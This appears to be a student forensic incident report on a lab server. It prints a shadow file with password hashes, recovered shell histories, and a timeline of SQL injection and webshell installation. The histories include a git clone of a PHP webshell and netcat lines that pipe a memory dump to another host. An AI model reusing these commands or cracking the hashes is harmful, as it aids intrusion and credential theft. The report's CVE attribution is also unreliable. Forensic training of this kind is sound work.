bin:*:16176:0:99999:7:::
sys:*:16176:0:99999:7:::
sync:*:16176:0:99999:7:::
games:*:16176:0:99999:7:::
man:*:16176:0:99999:7:::
lp:*:16176:0:99999:7:::
mail:*:16176:0:99999:7:::
news:*:16176:0:99999:7:::
uucp:*:16176:0:99999:7:::
proxy:*:16176:0:99999:7:::
www-data:*:16176:0:99999:7:::
backup:*:16176:0:99999:7:::
list:*:16176:0:99999:7:::
irc:*:16176:0:99999:7:::
gnats:*:16176:0:99999:7:::
nobody:*:16176:0:99999:7:::
libuuid:!:16176:0:99999:7:::
syslog:*:16176:0:99999:7:::
messagebus:*:18564:0:99999:7:::
sshd:*:18564:0:99999:7:::
statd:*:18564:0:99999:7:::
vagrant:$6$NABMNgxO$T2lvEhArjOImjvROySq8vka/r8MWhhzNgT3Z5FS1LcPS5D325ESK5LjFJymb2jo/m4NmDg8aEl0TWWI3la.Y3/:18564:0:99999:7:::
dirmngr:*:18564:0:99999:7:::
leia_organa:$1$N6DIbGGZ$LpERCRfi8IXlNebhQuYLK/:18564:0:99999:7:::
luke_skywalker:$1$/7D55ozb$Y/aKb.UNrDS2w7nZVq.Ll/:18564:0:99999:7:::
han_solo:$6$U/rfxZOD$L5GxdR7GRwK7BU0mwfsFg7rLBZ6RKM4MGWQE4HKEjRyH.XBZ4DxeO7hu.AIOF.IjxCWD5WR5t.jvdJGtNQlfM1:18788:0:99999:7:::
artoo_detoo:$1$tfvzyRnv$mawnXAR4GgABt8rtn7Dfv.:18564:0:99999:7:::
c_three_pio:$1$lXx7tKuo$xuM4AxkByTUD78BaJdYdG.:18564:0:99999:7:::
ben_kenobi:$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1:18564:0:99999:7:::
darth_vader:$1$rLuMkR1R$YHumHRxhswnfO7eTUUfHJ.:18564:0:99999:7:::
anakin_skywalker:$1$jlpeszLc$PW4IPiuLTwiSH5YaTlRaB0:18564:0:99999:7:::
jarjar_binks:$1$SNokFi0c$F.SvjZQjYRSuoBuobRWMh1:18564:0:99999:7:::
lando_calrissian:$1$Af1ek3xT$nKc8jkJ30gMQWeW/6.ono0:18564:0:99999:7:::
boba_fett:$1$TjxlmV4j$k/rG1vb4.pj.z0yFWJ.ZD0:18564:0:99999:7:::
jabba_hutt:$1$9rpNcs3v$//v2ltj5MYhfUOHYVAzjD/:18564:0:99999:7:::
greedo:$1$vOU.f3Tj$tsgBZJbBS4JwtchsRUW0a1:18564:0:99999:7:::
chewbacca:$1$.qt4t8zH$RdKbdafuqc7rYiDXSoQCI.:18564:0:99999:7:::
kylo_ren:$1$rpvxsssI$hOBC/qL92d0GgmD/uSELx.:18564:0:99999:7:::
mysql:!!:18564:0:99999:7:::
avahi:*:18564:0:99999:7:::
colord:*:18564:0:99999:7:::
```

```
┌──(kali㉿joan)-[/media/sf_imagenesram/ud5act1]
└─$ cat etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:vagrant,leia_organa,luke_skywalker,han_solo
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
libuuid:x:101:
netdev:x:102:
crontab:x:103:
syslog:x:104:
fuse:x:105:
messagebus:x:106:
mlocate:x:107:
ssh:x:108:
```

```
┌──(root㉿joan)-[/home/kali/montaje]
└─# find /home/kali/montaje -type f -name ".bash_history"

/home/kali/montaje/root/.bash_history
/home/kali/montaje/home/han_solo/.bash_history
/home/kali/montaje/home/vagrant/.bash_history

┌──(root㉿joan)-[/home/kali/montaje]
└─# cat /home/kali/montaje/home/han_solo/.bash_history

cd /var/www/html/
ls -lisa
sudo su

┌──(root㉿joan)-[/home/kali/montaje]
└─# cat /home/kali/montaje/root/.bash_history

exit
./avml volcado.mem
cd avml
ls
ls -lisa
chmod +x avml
ls -lisa
./avml volcado.mem
nc -N 10.1.0.9 9999 < volcado.mem
nc  10.1.0.9 9999 < volcado.mem
md5sum volcado.mem
ping 10.1.0.9
nc  10.1.0.8 9999 < volcado.mem
init 0
mkdir tmp
cd tmp/
git clone https://github.com/WhiteWinterWolf/wwwolf-php-webshell
```

Resum executiu

1. **22:22:18 - Conexiones FTP desde IP 10.1.0.7**
    - Se registran múltiples sesiones FTP cerradas casi simultáneamente.
    - Posible intento de acceso automatizado o reconocimiento inicial del atacante.
2. **Aproximadamente 22:30 - Tráfico DHCP activo**
    - Cambios frecuentes en la IP (10.1.0.6) indican intentos de reconexión o rotación de IP.
3. **Explotación del servidor web**
    - El atacante explota el archivo vulnerable **payroll_app.php** usando inyección SQL.
    - Se identifica un script **(poc.rb**) en el sistema que automatiza el ataque.
4. **Ejecución de script malicioso**
    - El script realiza una petición POST con inyección SQL para extraer contraseñas de usuarios.
    - El atacante tenía acceso local para ejecutar este código.
5. **Instalación de webshell**
    - El atacante clona la webshell **wwwolf-php-webshell** desde GitHub, con el objetivo de mantener persistencia en el sistema.
    - Esta acción queda registrada en el historial de comandos de root (**.bash_history**).
6. **Acceso persistente**
    - La webshell permite al atacante mantener el acceso remoto de forma oculta.

    - No se detecta uso explícito posterior, pero su presencia indica un compromiso grave.

7. **Recolección forense**

    - Un analista forense ejecuta la herramienta **avml** para realizar un volcado de memoria **(volcado.mem)**.

    - Este volcado es enviado vía Netcat para su análisis.

    - Esta acción fue realizada por el equipo de análisis, **no por el atacante**.

Otros indicios relevantes

- **.bash_history** de root y **han_solo** confirman acciones relacionadas con el ataque.

- La vulnerabilidad explotada se encuentra en **payroll_app.php**, probablemente relacionada con una inyección SQL.

- El servidor utiliza Apache 2.4.7 y PHP 5.4.5, versiones con múltiples CVEs conocidos (por ejemplo, CVE-2014-6271 o similares).

- El atacante utilizó una combinación de ataque web e instalación de webshell para comprometer el sistema.